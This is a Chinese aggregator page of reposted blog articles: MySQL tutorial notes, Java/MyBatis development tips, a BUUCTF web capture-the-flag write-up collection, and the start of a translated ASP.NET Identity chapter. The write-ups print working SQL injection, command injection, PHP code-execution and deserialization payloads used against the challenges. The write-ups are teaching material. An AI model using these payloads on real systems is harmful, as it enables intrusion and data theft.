格林威治时间 案例:创建表t,字段d1 date,d2 time,d3 datetime,d4 timestamp create table t(id int,d1 date,d2 time,d3 datetime,d4 timestamp);insert into t (d1,d2) values ('1910-01-10','12:32:12');insert into t values(1,'2018-12-21','15:12:00','1995-02-10 12:08:12','2030-10-10 15:19:32');insert into t values(2,'3018-01-25','15:12:34','9234-12-31 12:12:12','2030-12-31 12:12:12');insert into t values(2,'3018-01-25','15:12:34','9999-12-31 23:59:59','2030-12-31 12:12:12'); 练习 创建人物表,插入,修改,查询 create table person(id int(4) primary key,name varchar(50),age int(3));insert into person values(1,"梅超风",36);insert into person values(2,"洪七公",96);insert into person values(3,"杨过",40);insert into person values(4,"令狐冲",28);insert into person values(5,"张三丰",100);insert into person values(6,"张翠山",27);insert into person values(7,"张无忌",27);insert into person values(8,"赵敏",18);insert into person values(9,"独孤求败",250);insert into person values(10,"楚留香",36);1.案例:修改张三丰的name为刘备,id为11update person set name="刘备",id=11 where name="张三丰";2.案例:修改2号人物的的name为夏侯渊update person set name="夏侯渊" where id=2;3.案例:根据条件修改person表中的数据,修改id是6的数据中,姓名改为'任我行', 年龄改为39update person set name="任我行",age=39 where id=6;4.案例:修改姓名是‘楚留香'的数据,把id改为20,年龄改为19update person set id=20,age=19 where name="楚留香";5.案例:把person所有的数据的年龄全部改为20 update person set age=20;6.案例:修改id为7的数据,把id改为100,姓名改为杨过,年龄改为21update person set id=100,name="杨过",age=21 where id=7;7.案例:修改姓名是独孤求败,把年龄改为35update person set age=35 where name="独孤求败";8.案例:修改id=8的信息,把姓名改为房玄龄update person set name="房玄龄" where id=8;9.案例 :修改id为20并且年龄为20的人的姓名为刘德华(郑少秋也行)提示 where...and...update person set name="郑少秋" where id=20 and age=20; 查询 没有条件的简单查询 select from 表名;查询表中所有的数据 select from person; select from t; select from emp; select from dept; 查询某些列中的值 select name as '姓名' from person; select name as '姓名',age as '年龄' from person; select id as '编号',name as '姓名',age as '年龄' from person; 学习过程的编程习惯select from 表; 工作中的编程习惯select id,name,age from person; 查询emp表中所有员工的姓名,上级领导的编号,职位,工资 select ename,mgr,job,sal from emp; 查询emp表中所有员工的编号,姓名,所属部门编号,工资 select empno,ename,deptno,sal from emp; 查询dept表中所有部门的名称和地址 select dname,loc from dept; 如果忘记了mysql的用户名和密码怎么办 卸载重新装 不重装软件如何修改密码 1.停止mysql服务 2.cmd中输入一个命令 mysqld --skip-grant-tables; -通过控制台,开启了一个mysql服务 3.开启一个新的cmd -mysql -u root -p 可以不使用密码进入数据库 show databases;----mysql 5. use mysql; 6. update user set password=password('新密码') where user="root"; 7. 关闭mysqld这个服务/进程 8. 重启mysql服务 作业 mysql02,一天的代码重新敲一遍,熟悉emp和dept列名 本篇文章为转载内容。原文链接:https://blog.csdn.net/sinat_41915844/article/details/79770973。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-02-16 12:44:07
544
转载
转载文章
...ake)的生成、数据加密解密、二维码生成、图片加水印、BASE64编码解码、图片验证码等操作 集合 使用Arrays.asList()返回的list为数组的内部list,只允许遍历不允许增删,可以使用Stream流转换为list Collection和map对于仅遍历可以使用增强for循环和,但如果有删除为避免错误必须使用迭代器 foreach遍历不允许改变变量的地址,java的参数是值传递,修改了形参的地址并不影响原来的参数,故即使你修改了值也不会同步到原变量中,故操作的变量都显式或者隐式的定义为final JSON fastjson parseArray(String text, Class<T> clazz) 解析List parseObject(String text, Class<T> clazz) 解析Object JSON对于null、空白字符串、“null”会返回nullif (text == null) {return null;} else {DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance());JSONLexer lexer = parser.lexer;int token = lexer.token();ArrayList list;if (token == 8) {lexer.nextToken(); // nextToken() => ...if ("null".equalsIgnoreCase(ident)) this.token = 8;list = null;} } String toJSONString(Object object) 将对象转为String toJSONBytes(Object object, SerializerFeature... features) 将对象转为byte[] @JSONField() 可以忽略字段serialize ,别名映射name,日期格式化format等 jackson @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") 设置Date到前台的格式 @JsonIgnore SpringMVC不会向前台传递该字段 ObjectMapper mapper = new ObjectMapper();String str = mapper.writeValueAsString(admin); // 对象转JSON字符串mapper.readValue(s,Admin.class ); // JSON字符串转对象 EasyExcel 官方API https://www.yuque.com/easyexcel/doc 使用类注解@ExcelIgnoreUnannotated配合@ExcelProperty操作 @ExcelProperty可以指定表头列名,列顺序和表头的合并 @ColumnWidth(10)可以指定列宽,其长度约为(中文length3+英文length1) @DateTimeFormat(value="yyyy-MM-dd HH:mm:ss")可以指定日期格式 自定义策略实现SheetWriteHandler工作表回调接口,在afterSheetCreate()工作表创建之后方法可以 设置列宽 自定义表头 新建单元格 自定义策略实现RowWriteHandler行回调接口,在afterRowDispose()行操作完之后方法可以 设置行高 设置行样式 自定义策略实现CustomerCellHandler单元格回调接口,在afterCellDispose()单元格操作完之后方法可以 根据行号,列宽甚至是单元格的值来设置单元格样式 可以对单元格的值获取和修改 样式通常包括内容格式、批注、背景色、自动换行、平和垂直居中、边框大小和颜色、字体实例(格式,颜色,大小,加粗等)等 自定义策略继承AbstractMergeStrategy单元格合并抽象类,在merge()方法中可以通过CellRangeAddress合并单元格 过于复杂的表格可以使用模板,配合写出write和填充fill一起使用 Mybatis 在mapper方法的@select中也是可以直接书写动态SQL的,但要使用<script></script>包裹,这样就不用在java文件和xml文件切换了,将@select中包裹的代码直接放到浏览器的控制台输出后会自动转义\n,\t,+,"等 动态sql中“<” 和 “>” 号要用转义字符 “<” 和 ”>“ (分号要带) 动态sql中test中表达式通常使用 test=“id != null and id != ‘’”,要注意的是字符串不能直接识别单引号,有两种方法使用id==“1001"或者id==‘1001’.toString(),另外参数如果是boolean,可以直接使用test=”!flag",如果判定集合的话可以使用 test=“list != null and list.size>0” 返回数据类型为Map只能接收一条记录,字段为键名,字段值为值,但通常是用实体类接收,或是使用注解@MapKey来进行每条记录的映射,效果等同于List用Stream流转Map foreach遍历list collection=“list” item=“vo” separator="," open="(" close=")"> {vo.id} foreach遍历map collection=“map” index=“key” item=“value”,{key}获取建,{value}获取值,$亦可 collection=“map.entrySet()” index=“key” item=“value”,同上 collection=“map.keys” item=“key”,{key}为键 不要使用where 1=1,使用动态where拼接,会自动剔除where后多余的and和or 单个参数时无论基本和引用并且未使用在动态SQL可以不加参数注解@Param,但一旦参数大于一个或者参数在动态SQL中使用就必须加@Param 并不是直接把参数加引号,而是变成?的形式交给prepareStatement处理,$直接使用值,当ORDER BY诸如此类不需要加引号的参数时,使用$代替,但为避免sql注入,该参数不能交由用户控制 Plus 官方API https://baomidou.com/guide/ @TableName 表名 @TableField(strategy = FieldStrategy.IGNORED) 更新不会忽略NULL值 @TableField(exist = false)表明该字段非数据字段,否则新增更新会报错 MybatisPlus对于单表的操作还是非常优秀的,在对单表进行新增或者更新的时候经常使用,但对于单表的查询业务上很少出现仅仅查询一张表的情况,但也会有,如果条件不大于3个还是可以使用的,多了倒没有直接写SQL来的方便了 MybatisPlus的批量插入也是通过for循环插入的,还是建议使用Mybatis的动态foreach进行批量插入 MybatisPlus的分页器会对方法中的参数判断,如果存在分页对象就先查询总数看是否大于0,然后拼接当前的数据库limit语句,所以如果我们分页对象为null,就可以实现不分页查询 Object paramObj = boundSql.getParameterObject();IPage page = null;if (paramObj instanceof IPage) { ……public static String getOriginalCountSql(String originalSql) {return String.format("SELECT COUNT(1) FROM ( %s ) TOTAL", originalSql);} ……originalSql = DialectFactory.buildPaginationSql(page, buildSql, dbType, this.dialectClazz); ……public String buildPaginationSql(String originalSql, long offset, long limit) {StringBuilder sql = new StringBuilder(originalSql);sql.append(" LIMIT ").append(offset).append(",").append(limit);return sql.toString();} IDEA 插件 Lombok : 快速生成getter、setter等 Alibaba Java Coding Guidelines :阿里规约扫描 Rainbow Brackets :彩色括号 HighlightBracketPair :高亮提示 MyBatisX :mabatisPlus提供的xml和mapper转换的插件,小鸟图标 CamelCase :大小写、驼峰、下划线、中划线转换插件 使用shift+Alt+u进行转换(很方便) 可以在Editor中设置CamelCase的转换,一般只保留下划线和驼峰两种 String Manipulation :字符串工具(未使用) RestfulToolkit http :Restful请求工具 打开idea,在右侧边栏会有一个标签(RestServices),打开可以看到里面是url路径 ctrl+\或者ctrl+alt+n会检索路径 Ctrl + Enter格式化json 没有记忆功能,也不能加token,只是查找请求路径使用 easycode :代码生成工具(个人觉得很好用,常用于生成实体类) 支持自定义模板 支持添加自定义列,不影响数据库 支持多表同时生成 支持自定义类型映射 支持配置导入导出 支持动态调试 支持自定义属性 Power Mode 11 :打字特效(纯属装逼) Nyan Progress Bar :漂亮的进度条(纯属装逼) Other Vo:数据持久化模型 Query:数据查询模型 Dto:数据传输模型 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_40910781/article/details/111416185。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-26 23:30:52
268
转载
转载文章
...e;} }//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话,empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入:1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 (为2) 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名) 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多 这里通过 MYSQL的预处理语句,使用 : concat('s','elect',' from 1919810931114514') 完成绕过 构造pyload: 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字,字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说,没有回显,联合查询基本没戏。 好在页面会进行相应的变化,证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回,一种是空白,一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母(除过滤的关键词外)都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符,不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
303
转载
转载文章
...T Identity实现应用程序的用户管理,以及实现应用程序的认证与授权等相关技术,译者希望本系列教程能成为掌握ASP.NET Identity技术的一份完整而有价值的资料。读者若是能够按照文章的描述,一边阅读、一边实践、一边理解,定能有意想不到的巨大收获!希望本系列博文能够得到广大园友的高度推荐。 15 Advanced ASP.NET Identity 15 ASP.NET Identity高级技术 In this chapter, I finish my description of ASP.NET Identity by showing you some of the advanced features it offers. I demonstrate how you can extend the database schema by defining custom properties on the user class and how to use database migrations to apply those properties without deleting the data in the ASP.NET Identity database. I also explain how ASP.NET Identity supports the concept of claims and demonstrates how they can be used to flexibly authorize access to action methods. I finish the chapter—and the book—by showing you how ASP.NET Identity makes it easy to authenticate users through third parties. I demonstrate authentication with Google accounts, but ASP.NET Identity has built-in support for Microsoft, Facebook, and Twitter accounts as well. Table 15-1 summarizes this chapter. 本章将完成对ASP.NET Identity的描述,向你展示它所提供的一些高级特性。我将演示,你可以扩展ASP.NET Identity的数据库架构,其办法是在用户类上定义一些自定义属性。也会演示如何使用数据库迁移,这样可以运用自定义属性,而不必删除ASP.NET Identity数据库中的数据。还会解释ASP.NET Identity如何支持声明(Claims)概念,并演示如何将它们灵活地用来对动作方法进行授权访问。最后向你展示ASP.NET Identity很容易通过第三方部件来认证用户,以此结束本章以及本书。将要演示的是使用Google账号认证,但ASP.NET Identity对于Microsoft、Facebook以及Twitter账号,都有内建的支持。表15-1是本章概要。 Table 15-1. Chapter Summary 表15-1. 本章概要 Problem 问题 Solution 解决方案 Listing 清单号 Store additional information about users. 存储用户的附加信息 Define custom user properties. 定义自定义用户属性 1–3, 8–11 Update the database schema without deleting user data. 更新数据库架构而不删除用户数据 Perform a database migration. 执行数据库迁移 4–7 Perform fine-grained authorization. 执行细粒度授权 Use claims. 使用声明(Claims) 12–14 Add claims about a user. 添加用户的声明(Claims) Use the ClaimsIdentity.AddClaims method. 使用ClaimsIdentity.AddClaims方法 15–19 Authorize access based on claim values. 基于声明(Claims)值授权访问 Create a custom authorization filter attribute. 创建一个自定义的授权过滤器注解属性 20–21 Authenticate through a third party. 通过第三方认证 Install the NuGet package for the authentication provider, redirect requests to that provider, and specify a callback URL that creates the user account. 安装认证提供器的NuGet包,将请求重定向到该提供器,并指定一个创建用户账号的回调URL。 22–25 15.1 Preparing the Example Project 15.1 准备示例项目 In this chapter, I am going to continue working on the Users project I created in Chapter 13 and enhanced in Chapter 14. No changes to the application are required, but start the application and make sure that there are users in the database. Figure 15-1 shows the state of my database, which contains the users Admin, Alice, Bob, and Joe from the previous chapter. To check the users, start the application and request the /Admin/Index URL and authenticate as the Admin user. 本章打算继续使用第13章创建并在第14章增强的Users项目。对应用程序无需做什么改变,但需要启动应用程序,并确保数据库中有一些用户。图15-1显示了数据库的状态,它含有上一章的用户Admin、Alice、Bob以及Joe。为了检查用户,请启动应用程序,请求/Admin/Index URL,并以Admin用户进行认证。 Figure 15-1. The initial users in the Identity database 图15-1. Identity数据库中的最初用户 I also need some roles for this chapter. I used the RoleAdmin controller to create roles called Users and Employees and assigned the users to those roles, as described in Table 15-2. 本章还需要一些角色。我用RoleAdmin控制器创建了角色Users和Employees,并为这些角色指定了一些用户,如表15-2所示。 Table 15-2. The Types of Web Forms Code Nuggets 表15-2. 角色及成员(作者将此表的标题写错了——译者注) Role 角色 Members 成员 Users Alice, Joe Employees Alice, Bob Figure 15-2 shows the required role configuration displayed by the RoleAdmin controller. 图15-2显示了由RoleAdmin控制器所显示出来的必要的角色配置。 Figure 15-2. Configuring the roles required for this chapter 图15-2. 配置本章所需的角色 15.2 Adding Custom User Properties 15.2 添加自定义用户属性 When I created the AppUser class to represent users in Chapter 13, I noted that 